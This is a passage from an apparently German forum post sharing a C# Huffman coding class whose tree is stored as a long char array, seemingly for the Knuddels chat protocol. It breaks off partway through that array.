<b>KHuffman.cs</b> V2 (mit Baum als char-array, weil das U-Labs-Plugin die Tree-Zeichenkette beim Kopieren verändert...):<br />
<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
<br />
using System;<br />
using System.Collections.Generic;<br />
using System.Text;<br />
<br />
namespace DeinTollesProjekt<br />
{<br />
    class KHuffman<br />
    {<br />
        private readonly BinaryNode DecRoot;<br />
        private String _16BitChar;<br />
        private int _16BitCharPath;<br />
        private int _16BitCharPathLen;<br />
        private readonly char&#91;&#93; CharBuffer;<br />
        private Dictionary&lt;char, Pair&lt;Path, Object&gt;&gt; EncMap;<br />
        private readonly String Tree = new string(new char&#91;&#93; { (char)8, (char)121, (char)239, (char)124, (char)47, (char)115, (char)101, (char)114, (char)118, (char)101, (char)114, (char)112, (char)112, (char)32, (char)34, (char)30, (char)116, (char)116, (char)9, (char)68, (char)33, (char)101, (char)97, (char)34, (char)117, (char)100, (char)15, (char)131, (char)17, (char)1079, (char)18, (char)218, (char)18, (char)222, (char)16, (char)8364, (char)15, (char)8254, (char)15, (char)133, (char)33, (char)252, (char)114, (char)12, (char)200, (char)53, (char)83, (char)116, (char)101, (char)53, (char)101, (char)99, (char)107, (char)31, (char)48, (char)54, (char)95, (char)77, (char)97, (char)102, (char)105, (char)97, (char)34, (char)54, (char)55, (char)34, (char)78, (char)73, (char)34, (char)108, (char)98, (char)34, (char)111, (char)117, (char)6, (char)35, (char)5, (char)10, (char)4, (char)176, (char)31, (char)115, (char)105, (char)52, (char)112, (char)108, (char)97, (char)31, (char)116, (char)105, (char)52, (char)102, (char)111, (char)114, (char)8, (char)12, (char)53, (char)98, (char)111, (char)121, (char)11, (char)13, (char)53, (char)109, (char)97, (char)110, (char)33, (char)75, (char)108, (char)34, (char)57, (char)55, (char)34, (char)117, (char)98, (char)53, (char)117, (char)114, (char)103, (char)53, (char)107, (char)116, (char)101, (char)32, (char)79, (char)75, (char)32, (char)117, (char)101, (char)8, (char)98, (char)32, (char)111, (char)112, (char)33, (char)101, (char)118, (char)33, (char)79, (char)98, (char)54, (char)112, (char)101, (char)114, (char)33, (char)75, (char)111, (char)32, (char)77, (char)111, (char)93, (char)95, (char)176, (char)62, (char)95, (char)104, (char)8, (char)109, (char)31, (char)100, (char)105, (char)31, (char)114, (char)97, (char)11, (char)106, (char)15, (char)130, (char)18, (char)970, (char)18, (char)217, (char)17, (char)198, (char)16, (char)353, (char)15, (char)185, (char)16, (char)9644, (char)17, (char)201, (char)17, (char)248, (char)34, (char)53, (char)51, (char)34, (char)108, (char)104, (char)14, (char)8226, (char)14, (char)96, (char)31, (char)112, (char)121, (char)30, (char)49, (char)51, (char)30, (char)110, (char)110, (char)7, (char)227, (char)32, (char)114, (char)99, (char)200, (char)95, (char)110, (char)105, (char)99, (char)107, (char)108, (char)105, (char)115, (char)116, (char)95, (char)32, (char)101, (char)102, (char)53, (char)98, (char)114, (char)97, (char)31, (char)101, (char)101, (char)53, (char)116, (char)101, (char)110, (char)32, (char)110, (char)99, (char)52, (char)63, (char)100, (char)61, (char)32, (char)87, (char)111, (char)34, (char)55, (char)55, (char)13, (char)250, (char)33, (char)57, (char)52, (char)52, (char)105, (char)110, (char)103, (char)11, (char)14, (char)32, (char)48, (char)50, (char)31, (char)68, (char)101, (char)31, (char)97, (char)117, (char)33, (char)82, (char)117, (char)34, (char)111, (char)121, (char)34, (char)107, (char)109, (char)53, (char)101, (char)105, (char)103, (char)32, (char)69, (char)115, (char)33, (char)107, (char)115, (char)33, (char)79, (char)108, (char)8, (char)53, (char)9, (char)69, (char)31, (char)105, (char)105, (char)11, (char)22, (char)34, (char)109, (char)102, (char)34, (char)70, (char)111, (char)34, (char)115, (char)107, (char)16, (char)178, (char)17, (char)9565, (char)17, (char)158, (char)18, (char)64380, (char)18, (char)65185, (char)18, (char)65190, (char)18, (char)8217, (char)17, (char)281, (char)18, (char)64398, (char)18, (char)65270, (char)14, (char)21, (char)32, (char)69, (char)114, (char)54, (char)117, (char)115, (char)101, (char)33, (char)79, (char)110, (char)32, (char)111, (char)108, (char)33, (char)56, (char)57, (char)34, (char)107, (char)246, (char)34, (char)90, (char)101, (char)52, (char)97, (char)114, (char)116, (char)31, (char)114, (char)105, (char)8, (char)119, (char)32, (char)99, (char)111, (char)14, (char)25, (char)14, (char)196, (char)34, (char)67, (char)116, (char)33, (char)118, (char)97, (char)31, (char)98, (char)105, (char)52, (char)108, (char)105, (char)110, (char)32, (char)104, (char)114, (char)32, (char)105, (char)100, (char)32, (char)100, (char)111, (char)32, (char)110, (char)107, (char)32, (char)120, (char)120, (char)34, (char)119, (char)98, (char)14, (char)24, (char)16, (char)1082, (char)16, (char)205, (char)15, (char)139, (char)34, (char)112, (char)104, (char)34, (char)102, (char)119, (char)53, (char)110, (char)111, (char)99, (char)32, (char)119, (char)101, (char)52, (char)121, (char)101, (char)114, (char)31, (char)102, (char)101, (char)32, (char)107, (char)111, (char)32, (char)104, (char)116, (char)31, (char)109, (char)105, (char)53, (char)49, (char)48, (char)48, (char)32, (char)51, (char)49, (char)7, (char)51, (char)7, (char)108, (char)10, (char)87, (char)31, (char)102, (char)99, (char)34, (char)107, (char)252, (char)15, (char)1074, (char)16, (char)249, (char)18, (char)1171, (char)18, (char)8482, (char)17, (char)1072, (char)14, (char)180, (char)33, (char)105, (char)122, (char)32, (char)48, (char)57, (char)31, (char)66, (char)78, (char)30, (char)105, (char)109, (char)9, (char)1, (char)50, (char)0, (char)112, (char)0, (char)33, (char)75, (char)114, (char)34, (char)79, (char)111, (char)34, (char)101, (char)103, (char)53, (char)80, (char)117, (char)110, (char)32, (char)121, (char)108, (char)32, (char)101, (char)104, (char)32, (char)82, (char)111, (char)32, (char)83, (char)117, (char)33, (char)120, (char)101, (char)54, (char)104, (char)101, (char)108, (char)53, (char)104, (char)108, (char)116, (char)31, (char)101, (char)116, (char)31, (char)115, (char)109, (char)10, (char)77, (char)32, (char)112, (char)97, (char)32, (char)51, (char)56, (char)9, (char)122, (char)33, (char)70, (char)108, (char)33, (char)52, (char)56, (char)32, (char)117, (char)102, (char)53, (char)75, (char)110, (char)117, (char)32, (char)78, (char)105, (char)32, (char)104, (char)105, (char)34, (char)108, (char)122, (char)13, (char)220, (char)54, (char)104, (char)101, (char)114, (char)32, (char)83, (char)111, (char)34, (char)83, (char)252, (char)34, (char)117, (char)104, (char)15, (char)8594, (char)15, (char)9617, (char)14, (char)1085, (char)34, (char)114, (char)252, (char)30, (char)70, (char)104, (char)52, (char)77, (char)105, (char)110, (char)31, (char)98, (char)97, (char)31, (char)112, (char)108, (char)94, (char)48, (char)44, (char)48, (char)44, (char)48, (char)30, (char)49, (char)55, (char)30, (char)32, (char)32, (char)53, (char)98, (char)105, (char)110, (char)33, (char)71, (char)108, (char)33, (char)78, (char)117, (char)115, (char)77, (char)97, (char)102, (char)105, (char)97, (char)50, (char)31, (char)100, (char)97, (char)33, (char)82, (char)104, (char)54, (char)107, (char)101, (char)110, (char)32, (char)83, (char)108, (char)10, (char)73, (char)137, (char)107, (char)110, (char)117, (char)100, (char)100, (char)101, (char)108, (char)32, (char)70, (char)98, (char)31, (char)66, (char)111, (char)33, (char)84, (char)111, (char)34, (char)122, (char)97, (char)16, (char)402, (char)17, (char)181, (char)17, (char)9619, (char)15, (char)134, (char)14, (char)1080, (char)33, (char)71, (char)111, (char)33, (char)53, (char)54, (char)53, (char)111, (char)105, (char)115, (char)32, (char)99, (char)101, (char)10, (char)78, (char)32, (char)48, (char)51, (char)33, (char)114, (char)98, (char)33, (char)104, (char)110, (char)53, (char)114, (char)105, (char)101, (char)33, (char)74, (char)101, (char)33, (char)68, (char)114, (char)8, (char)52, (char)53, (char)70, (char)117, (char)223, (char)33, (char)74, (char)117, (char)34, (char)110, (char)121, (char)34, (char)89, (char)111, (char)31, (char)51, (char)54, (char)53, (char)104, (char)101, (char)105, (char)34, (char)53, (char)56, (char)34, (char)111, (char)118, (char)12, (char)36, (char)31, (char)66, (char)66, (char)8, (char)38, (char)94, (char)66, (char)105, (char)110, (char)103, (char)111, (char)53, (char)108, (char)105, (char)101, (char)33, (char)98, (char)121, (char)33, (char)73, (char)103, (char)52, (char)115, (char)116, (char)101, (char)10, (char)17, (char)7, (char)50, (char)10, (char)71, (char)32, (char)105, (char)99, (char)54, (char)107, (char)108, (char)101, (char)18, (char)65275, (char)18, (char)1071, (char)17, (char)1106, (char)16, (char)224, (char)16, (char)1751, (char)18, (char)1077, (char)18, (char)193, (char)18, (char)213, (char)18, (char)9474, (char)17, (char)238, (char)17, (char)9556, (char)16, (char)127, (char)15, (char)214, (char)34, (char)54, (char)52, (char)31, (char)115, (char)101, (char)31, (char)50, (char)51, (char)31, (char)110, (char)103, (char)32, (char)119, (char)97, (char)33, (char)68, (char)252, (char)33, (char)102, (char)108, (char)31, (char)97, (char)114, (char)32, (char)114, (char)115, (char)32, (char)66, (char)105, (char)132, (char)0, (char)112, (char)0, (char)66, (char)0, (char)45, (char)0, (char)7, (char)245, (char)7, (char)44, (char)8, (char)194, (char)52, (char)117, (char)116, (char)101, (char)31, (char)118, (char)101, (char)10, (char)64, (char)33, (char)115, (char)108, (char)33, (char)97, (char)99, (char)32, (char)72, (char)101, (char)7, (char)66, (char)29, (char)50, (char)48, (char)32, (char)87, (char)105, (char)34, (char)99, (char)108, (char)34, (char)77, (char)246, (char)33, (char)100, (char)109, (char)31, (char)77, (char)97, (char)30, (char)108, (char)101, (char)7, (char)105, (char)32, (char)111, (char)116, (char)34, (char)115, (char)99, (char)34, (char)117, (char)117, (char)12, (char)9, (char)10, (char)83, (char)53, (char)103, (char)101, (char)98, (char)32, (char)77, (char)101, (char)255, (char)16, (char)11, (char)102, (char)101, (char)109, (char)97, (char)108, (char)101, (char)46, (char)98, (char)46, (char)109, (char)121, (char)95, (char)52, (char)46, (char)103, (char)105, (char)102, (char)32, (char)116, (char)108, (char)30, (char)49, (char)54, (char)52, (char)99, (char)104, (char)116, (char)34, (char)108, (char)228, (char)34, (char)112, (char)117, (char)34, (char)115, (char)98, (char)34, (char)53, (char)49, (char)53, (char)70, (char)105, (char)102, (char)32, (char)57, (char)48, (char)53, (char)101, (char)114, (char)104, (char)52, (char)50, (char)53, (char)53, (char)10, (char)75, (char)31, (char)105, (char)103, (char)8, (char)124, (char)30, (char)109, (char)97, (char)32, (char)50, (char)57, (char)34, (char)65, (char)109, (char)15, (char)9835, (char)16, (char)8250, (char)17, (char)157, (char)17, (char)160, (char)17, (char)254, (char)17, (char)8592, (char)17, (char)153, (char)17, (char)321, (char)15, (char)1084, (char)33, (char)75, (char)246, (char)53, (char)118, (char)111, (char)110, (char)32, (char)75, (char)105, (char)34, (char)228, (char)117, (char)34, (char)67, (char)101, (char)34, (char)55, (char)56, (char)34, (char)71, (char)105, (char)32, (char)110, (char)117, (char)52, (char)103, (char)101, (char)110, (char)32, (char)100, (char)117, (char)54, (char)77, (char)97, (char)114, (char)33, (char)114, (char)117, (char)33, (char)118, (char)111, (char)33, (char)106, (char)117, (char)13, (char)8467, (char)34, (char)98, (char)115, (char)54, (char)117, (char)104, (char)112, (char)219, (char)70, (char)111, (char)116, (char)111, (char)67, (char)111, (char)110, (char)116, (char)101, (char)115, (char)116, (char)32, (char)67, (char)112, (char)54, (char)116, (char)111, (char)114, (char)54, (char)114, (char)101, (char)97, (char)32, (char)122, (char)105, (char)74, (char)107, (char)97, (char)110, (char)110, (char)30, (char)108, (char)108, (char)9, (char)63, (char)8, (char)251, (char)8, (char)190, (char)32, (char)109, (char)112, (char)33, (char)108, (char)110, (char)54, (char)83, (char)112, (char)105, (char)31, (char)117, (char)115, (char)30, (char)115, (char)116, (char)33, (char)114, (char)102, (char)13, (char)6, (char)13, (char)143, (char)32, (char)102, (char)102, (char)32, (char)115, (char)104, (char)33, (char)52, (char)52, (char)33, (char)73, (char)99, (char)52, (char)104, (char)97, (char)116, (char)32, (char)106, (char)97, (char)54, (char)46, (char)119, (char)95, (char)12, (char)20, (char)8, (char)103, (char)32, (char)50, (char)55, (char)34, (char)65, (char)114, (char)13, (char)1108, (char)33, (char)252, (char)98, (char)31, (char)105, (char)101, (char)30, (char)49, (char)48, (char)54, (char)85, (char)110, (char)100, (char)54, (char)105, (char)101, (char)115, (char)33, (char)57, (char)49, (char)14, (char)182, (char)15, (char)233, (char)16, (char)216, (char)18, (char)331, (char)18, (char)9600, (char)17, (char)231, (char)34, (char)73, (char)73, (char)32, (char)103, (char)111, (char)33, (char)111, (char)98, (char)12, (char)39, (char)219, (char)107, (char)110, (char)117, (char)100, (char)100, (char)101, (char)108, (char)115, (char)46, (char)100, (char)101, (char)8, (char)120, (char)10, (char)91, (char)53, (char)110, (char)103, (char)101, (char)33, (char)108, (char)116, (char)34, (char)56, (char)56, (char)34, (char)90, (char)105, (char)32, (char)78, (char)97, (char)32, (char)70, (char)97, (char)10, (char)93, (char)8, (char)188, (char)10, (char)228, (char)53, (char)97, (char)117, (char)115, (char)74, (char)115, (char)105, (char)99, (char)104, (char)72, (char)105, (char)99, (char)111, (char)110, (char)9, (char)54, (char)12, (char)9608, (char)33, (char)71, (char)114, (char)32, (char)112, (char)111, (char)31, (char)51, (char)48, (char)7, (char)62, (char)52, (char)83, (char)99, (char)104, (char)54, (char)112, (char)97, (char)114, (char)33, (char)101, (char)121, (char)33, (char)71, (char)97, (char)54, (char)78, (char)111, (char)114, (char)93, (char)109, (char)97, (char)102, (char)105, (char)97, (char)30, (char)49, (char)50, (char)33, (char)74, (char)97, (char)33, (char)115, (char)252, (char)15, (char)184, (char)15, (char)138, (char)15, (char)27, (char)15, (char)135, (char)34, (char)246, (char)110, (char)54, (char)109, (char)97, (char)103, (char)52, (char)118, (char)101, (char)114, (char)32, (char)71, (char)101, (char)11, (char)164, (char)31, (char)50, (char)50, (char)33, (char)97, (char)103, (char)34, (char)55, (char)50, (char)14, (char)144, (char)15, (char)244, (char)15, (char)136, (char)53, (char)104, (char)97, (char)108, (char)31, (char)50, (char)49, (char)32, (char)114, (char)111, (char)33, (char)80, (char)115, (char)34, (char)53, (char)57, (char)34, (char)70, (char)117, (char)31, (char)108, (char)97, (char)32, (char)54, (char)48, (char)11, (char)80, (char)53, (char)83, (char)116, (char)117, (char)33, (char)109, (char)117, (char)34, (char)65, (char)97, (char)34, (char)54, (char)50, (char)7, (char)110, (char)7, (char)58, (char)32, (char)100, (char)116, (char)54, (char)79, (char)78, (char)76, (char)33, (char)57, (char)50, (char)94, (char)124, (char)47, (char)103, (char)111, (char)32, (char)136, (char)67, (char)104, (char)97, (char)110, (char)110, (char)101, (char)108, (char)53, (char)98, (char)101, (char)105, (char)32, (char)72, (char)105, (char)9, (char)2, (char)9, (char)56, (char)9, (char)102, (char)52, (char)50, (char)48, (char)48, (char)34, (char)102, (char)111, (char)34, (char)104, (char)109, (char)54, (char)114, (char)111, (char)115, (char)32, (char)103, (char)108, (char)8, (char)48, (char)33, (char)52, (char)57, (char)54, (char)101, (char)110, (char)115, (char)32, (char)51, (char)52, (char)54, (char)115, (char)119, (char)104, (char)33, (char)98, (char)116, (char)34, (char)72, (char)80, (char)18, (char)211, (char)18, (char)9618, (char)18, (char)199, (char)18, (char)209, (char)17, (char)8730, (char)17, (char)8595, (char)15, (char)226, (char)16, (char)177, (char)16, (char)926, (char)15, (char)132, (char)54, (char)66, (char)97, (char)100, (char)31, (char)101, (char)100, (char)12, (char)15, (char)54, (char)116, (char)100, (char)101, (char)74, (char)46, (char)112, (char)110, (char)103, (char)9, (char)100, (char)33, (char)109, (char)98, (char)33, (char)107, (char)110, (char)32, (char)68, (char)97, (char)32, (char)105, (char)114, (char)54, (char)71, (char)105, (char)114, (char)75, (char)50, (char)48, (char)48, (char)57, (char)29, (char)48, (char)48, (char)53, (char)80, (char)114, (char)105, (char)54, (char)66, (char)114, (char)101, (char)33, (char)84, (char)101, (char)34, (char)86, (char)101, (char)34, (char)53, (char)52, (char)33, (char)83, (char)104, (char)53, (char)87, (char)104, (char)111, (char)33, (char)102, (char)116, (char)33, (char)78, (char)101, (char)32, (char)88, (char)120, (char)94, (char)74, (char)97, (char)109, (char)101, (char)115, (char)32, (char)67, (char)108, (char)32, (char)109, (char)111, (char)54, (char)97, (char)110, (char)103, (char)12, (char)204, (char)33, (char)87, (char)117, (char)33, (char)48, (char)52, (char)9, (char)57, (char)74, (char)48, (char)48, (char)54, (char)53, (char)34, (char)67, (char)72, (char)34, (char)99, (char)105, (char)33, (char)103, (char)104, (char)31, (char)107, (char)101, (char)33, (char)117, (char)114, (char)33, (char)97, (char)107, (char)33, (char)105, (char)97, (char)33, (char)119, (char)117, (char)94, (char)112, (char)105, (char)99, (char)115, (char)47, (char)52, (char)100, (char)101, (char)110, (char)32, (char)76, (char)111, (char)53, (char)115, (char)116, (char)97, (char)34, (char)71, (char)66, (char)55, (char)115, (char)98, (char)117, (char)34, (char)111, (char)104, (char)34, (char)113, (char)117, (char)32, (char)83, (char)97, (char)31, (char)108, (char)105, (char)9, (char)97, (char)10, (char)79, (char)33, (char)70, (char)101, (char)34, (char)120, (char)121, (char)18, (char)163, (char)18, (char)1086, (char)17, (char)154, (char)16, (char)169, (char)17, (char)247, (char)17, (char)9559, (char)18, (char)9472, (char)18, (char)8220, (char)18, (char)173, (char)18, (char)189, (char)15, (char)171, (char)17, (char)9562, (char)18, (char)203, (char)18, (char)242, (char)17, (char)165, (char)17, (char)243, (char)74, (char)110, (char)105, (char)99, (char)104, (char)54, (char)98, (char)101, (char)115, (char)33, (char)116, (char)99, (char)12, (char)172, (char)12, (char)9829, (char)53, (char)109, (char)101, (char)110, (char)32, (char)83, (char)116, (char)52, (char)98, (char)117, (char)114, (char)31, (char)114, (char)116, (char)33, (char)57, (char)51, (char)33, (char)87, (char)97, (char)33, (char)84, (char)105, (char)33, (char)48, (char)55, (char)32, (char)103, (char)97, (char)33, (char)100, (char)115, (char)34, (char)57, (char)57, (char)34, (char)77, (char)117, (char)51, (char)115, (char)99, (char)104, (char)33, (char)74, (char)111, (char)54, (char)72, (char)101, (char)114, (char)34, (char)103, (char)103, (char)34, (char)118, (char)98, (char)33, (char)105, (char)98, (char)53, (char)101, (char)110, (char)116, (char)34, (char)56, (char)55, (char)34, (char)121, (char)97, (char)33, (char)108, (char)102, (char)32, (char)111, (char)114, (char)33, (char)101, (char)98, (char)33, (char)97, (char)119, (char)11, (char)18, (char)32, (char)116, (char)122, (char)29, (char)99, (char)104, (char)33, (char)114, (char)108, (char)159, (char)46, (char)115, (char)104, (char)97, (char)100, (char)111, (char)119, (char)95, (char)32, (char)115, (char)112, (char)33, (char)116, (char)111, (char)33, (char)111, (char)111, (char)11, (char)42, (char)30, (char)49, (char)53, (char)9, (char)111, (char)34, (char)110, (char)102, (char)34, (char)56, (char)54, (char)33, (char)57, (char)53, (char)54, (char)73, (char)78, (char)69, (char)33, (char)83, (char)105, (char)74, (char)70, (char)111, (char)116, (char)111, (char)33, (char)121, (char)115, (char)34, (char)57, (char)54, (char)15, (char)26, (char)15, (char)31, (char)15, (char)152, (char)16, (char)225, (char)17, (char)212, (char)18, (char)1111, (char)18, (char)236, (char)7, (char)114, (char)52, (char)105, (char)115, (char)116, (char)54, (char)76, (char)97, (char)100, (char)54, (char)77, (char)111, (char)109, (char)33, (char)84, (char)104, (char)54, (char)80, (char)114, (char)111, (char)32, (char)107, (char)97, (char)32, (char)67, (char)104, (char)31, (char)110, (char)105, (char)30, (char)115, (char)115, (char)73, (char)46, (char)109, (char)121, (char)95, (char)32, (char)118, (char)105, (char)54, (char)77, (char)111, (char)110, (char)33, (char)112, (char)105, (char)33, (char)81, (char)102, (char)34, (char)111, (char)99, (char)34, (char)115, (char)103, (char)34, (char)84, (char)97, (char)34, (char)116, (char)119, (char)34, (char)105, (char)102, (char)34, (char)122, (char)122, (char)31, (char)110, (char)97, (char)33, (char)65, (char)117, (char)33, (char)97, (char)105, (char)158, (char)75, (char)110, (char)117, (char)100, (char)100, (char)101, (char)108, (char)115, (char)10, (char)88, (char)71, (char)176, (char)62, (char)95, (char)104, (char)35, (char)117, (char)103, (char)35, (char)77, (char)121, (char)34, (char)80, (char)101, (char)34, (char)101, (char)120, (char)34, (char)78, (char)111, (char)32, (char)75, (char)97, (char)32, (char)110, (char)111, (char)34, (char)120, (char)116, (char)34, (char)104, (char)112, (char)34, (char)107, (char)114, (char)34, (char)80, (char)117, (char)30, (char)49, (char)56, (char)9, (char)82, (char)53, (char)83, (char)105, (char)110, (char)32, (char)65, (char)110, (char)34, (char)82, (char)105, (char)55, (char)115, (char)101, (char)108, (char)54, (char)98, (char)101, (char)97, (char)33, (char)86, (char)111, (char)34, (char)97, (char)104, (char)34, (char)81, (char)117, (char)7, (char)43, (char)10, (char)99, (char)33, (char)116, (char)115, (char)33, (char)84, (char)114, (char)32, (char)87, (char)101, (char)10, (char)76, (char)241, (char)105, (char)99, (char)111, (char)110, (char)95, (char)103, (char)101, (char)110, (char)100, (char)101, (char)114, (char)95, (char)31, (char)109, (char)101, (char)53, (char)46, (char)104, (char)95, (char)54, (char)119, (char)119, (char)119, (char)34, (char)121, (char)111, (char)34, (char)104, (char)117, (char)255, (char)12, (char)10, (char)124, (char)47, (char)102, (char)111, (char)116, (char)111, (char)119, (char)104, (char)111, (char)105, (char)115, (char)32, (char)34, (char)53, (char)109, (char)105, (char)116, (char)32, (char)115, (char)111, (char)8, (char)11, (char)52, (char)70, (char)114, (char)101, (char)54, (char)109, (char)97, (char)120, (char)54, (char)114, (char)101, (char)103, (char)33, (char)86, (char)97, (char)54, (char)119, (char)101, (char)114, (char)10, (char)117, (char)54, (char)119, (char)105, (char)101, (char)117, (char)105, (char)99, (char)111, (char)110, (char)115, (char)47, (char)33, (char)69, (char)110, (char)15, (char)9552, (char)16, (char)149, (char)16, (char)215, (char)14, (char)159, (char)34, (char)106, (char)111, (char)7, (char)37, (char)220, (char)50, (char)53, (char)53, (char)44, (char)50, (char)53, (char)53, (char)44, (char)50, (char)53, (char)53, (char)32, (char)101, (char)105, (char)33, (char)100, (char)114, (char)33, (char)105, (char)112, (char)32, (char)68, (char)117, (char)34, (char)107, (char)102, (char)34, (char)53, (char)55, (char)33, (char)80, (char)108, (char)31, (char)108, (char)111, (char)53, (char)83, (char)116, (char)97, (char)14, (char)945, (char)15, (char)29, (char)17, (char)964, (char)17, (char)210, (char)16, (char)145, (char)34, (char)69, (char)82, (char)33, (char)107, (char)117, (char)32, (char)108, (char)115, (char)54, (char)97, (char)99, (char)116, (char)33, (char)70, (char)114, (char)10, (char)92, (char)255, (char)19, (char)11, (char)102, (char)111, (char)116, (char)111, (char)115, (char)47, (char)107, (char)110, (char)117, (char)100, (char)100, (char)101, (char)108, (char)115, (char)46, (char)100, (char)101, (char)63, (char)110, (char)61, (char)11, (char)72, (char)50, (char)32, (char)32, (char)32, (char)33, (char)76, (char)117, (char)54, (char)100, (char)101, (char)109, (char)53, (char)101, (char)110, (char)100, (char)35, (char)66, (char)252, (char)35, (char)97, (char)112, (char)34, (char)55, (char)52, (char)54, (char)99, (char)104, (char)108, (char)53, (char)103, (char)108, (char)101, (char)30, (char)52, (char)48, (char)9, (char)33, (char)30, (char)51, (char)50, (char)52, (char)101, (char)105, (char)110, (char)53, (char)115, (char)101, (char)105, (char)33, (char)75, (char)101, (char)12, (char)223, (char)32, (char)102, (char)103, (char)53, (char)98, (char)97, (char)108, (char)31, (char)116, (char)97, (char)30, (char)49, (char)57, (char)52, (char)110, (char)100, (char)101, (char)54, (char)77, (char)101, (char)110, (char)54, (char)76, (char)105, (char)101, (char)32, (char)97, (char)100, (char)31, (char)83, (char)102, (char)10, (char)167, (char)30, (char)105, (char)110, (char)35, (char)101, (char)99, (char)15, (char)30, (char)16, (char)8249, (char)17, (char)221, (char)18, (char)166, (char)18, (char)234, (char)14, (char)953, (char)35, (char)72, (char)252, (char)33, (char)111, (char)115, (char)32, (char)114, (char)110, (char)74, (char)46, (char)109, (char)120, (char)95, (char)53, (char)119, (char)101, (char)105, (char)30, (char)46, (char)46, (char)54, (char)108, (char)101, (char)114, (char)33, (char)114, (char)107, (char)11, (char)113, (char)34, (char)116, (char)102, (char)34, (char)85, (char)110, (char)33, (char)80, (char)111, (char)53, (char)86, (char)101, (char)114, (char)9, (char)112, (char)7, (char)47, (char)12, (char)125, (char)35, (char)100, (char)119, (char)15, (char)1109, (char)16, (char)146, (char)16, (char)235, (char)34, (char)97, (char)122, (char)33, (char)108, (char)117, (char)33, (char)70, (char)105, (char)33, (char)107, (char)108, (char)33, (char)119, (char)111, (char)32, (char)56, (char)48, (char)255, (char)32, (char)9, (char)0, (char)112, (char)0, (char)66, (char)0, (char)112, (char)105, (char)99, (char)115, (char)47, (char)105, (char)99, (char)111, (char)110, (char)95, (char)102, (char)117, (char)108, (char)108, (char)67, (char)104, (char)97, (char)110, (char)110, (char)101, (char)108, (char)46, (char)103, (char)105, (char)102, (char)0, (char)45, (char)0, (char)30, (char)101, (char)108, (char)31, (char)116, (char)121, (char)54, (char)78, (char)101, (char)117, (char)34, (char)53, (char)50, (char)34, (char)108, (char)109, (char)32, (char)48, (char)49, (char)113, (char)124, (char)47, (char)119, (char)32, (char)34, (char)60, (char)180, (char)46, (char)113, (char)117, (char)97, (char)100, (char)99, (char)117, (char)116, (char)95, (char)35, (char)54, (char)57, (char)35, (char)100, (char)228, (char)34, (char)116, (char)117, (char)54, (char)102, (char)114, (char)101, (char)34, (char)105, (char)104, (char)35, (char)101, (char)122, (char)35, (char)57, (char)56, (char)31, (char)116, (char)101, (char)53, (char)103, (char)105, (char)114, (char)53, (char)99, (char)110, (char)116, (char)158, (char)46, (char)98, (char)111, (char)114, (char)100, (char)101, (char)114, (char)95, (char)32, (char)105, (char)116, (char)11, (char)89, (char)255, (char)14, (char)11, (char)102, (char)117, (char)108, (char)108, (char)67, (char)104, (char)97, (char)110, (char)110, (char)101, (char)108, (char)46, (char)103, (char)105, (char)102, (char)34, (char)122, (char)111, (char)34, (char)107, (char)99, (char)34, (char)65, (char)98, (char)15, (char)965, (char)18, (char)9642, (char)19, (char)9577, (char)19, (char)8494, (char)17, (char)202, (char)16, (char)141, (char)35, (char)56, (char)50, (char)32, (char)51, (char)51, (char)31, (char)110, (char)100, (char)10, (char)70, (char)32, (char)83, (char)112, (char)11, (char)94, (char)54, (char)97, (char)99, (char)104, (char)33, (char)117, (char)99, (char)32, (char)107, (char)105, (char)52, (char)105, (char)99, (char)104, (char)55, (char)102, (char)101, (char)108, (char)35, (char)56, (char)51, (char)15, (char)191, (char)15, (char)219, (char)33, (char)98, (char)114, (char)54, (char)70, (char)114, (char)105, (char)54, (char)100, (char)111, (char)114, (char)31, (char)100, (char)101, (char)31, (char)53, (char)48, (char)33, (char)97, (char)97, (char)34, (char)103, (char)98, (char)34, (char)108, (char)99, (char)54, (char)102, (char)252, (char)114, (char)33, (char)55, (char)53, (char)32, (char)116, (char)104, (char)53, (char)66, (char)101, (char)114, (char)54, (char)66, (char)97, (char)108, (char)33, (char)55, (char)48, (char)33, (char)52, (char)53, (char)34, (char)83, (char)119, (char)34, (char)52, (char)49, (char)32, (char)105, (char)108, (char)54, (char)104, (char)102, (char)108, (char)34, (char)73, (char)104, (char)13, (char)126, (char)255, (char)14, (char)10, (char)112, (char)105, (char)99, (char)115, (char)47, (char)102, (char)101, (char)109, (char)97, (char)108, (char)101, (char)46, (char)103, (char)105, (char)102, (char)53, (char)104, (char)116, (char)116, (char)16, (char)9834, (char)18, (char)161, (char)18, (char)232, (char)18, (char)305, (char)19, (char)8212, (char)62, (char)92, (char)92, (char)92, (char)20, (char)1241, (char)15, (char)183, (char)35, (char)65, (char)116, (char)35, (char)76, (char)69, (char)35, (char)83, (char)107, (char)75, (char)50, (char)48, (char)49, (char)48, (char)71, (char)46, (char)103, (char)105, (char)102, (char)74, (char)102, (char)111, (char)116, (char)111, (char)54, (char)76, (char)97, (char)110, (char)13, (char)19, (char)34, (char)105, (char)107, (char)199, (char)176, (char)62, (char)103, (char)116, (char)46, (char)103, (char)105, (char)102, (char)60, (char)176, (char)32, (char)72, (char)111, (char)34, (char)100, (char)121, (char)34, (char)80, (char)105, (char)54, (char)97, (char)108, (char)116, (char)32, (char)50, (char)56, (char)74, (char)46, (char)106, (char)112, (char)103, (char)7, (char)101, (char)8, (char)115, (char)32, (char)69, (char)108, (char)54, (char)109, (char)101, (char)114, (char)255, (char)14, (char)12, (char)109, (char)97, (char)108, (char)101, (char)46, (char)98, (char)46, (char)109, (char)121, (char)95, (char)51, (char)46, (char)103, (char)105, (char)102, (char)136, (char)0, (char)70, (char)108, (char)105, (char)114, (char)116, (char)32, (char)14, (char)1103, (char)35, (char)55, (char)54, (char)34, (char)110, (char)98, (char)33, (char)76, (char)97, (char)32, (char)110, (char)115, (char)33, (char)114, (char)103, 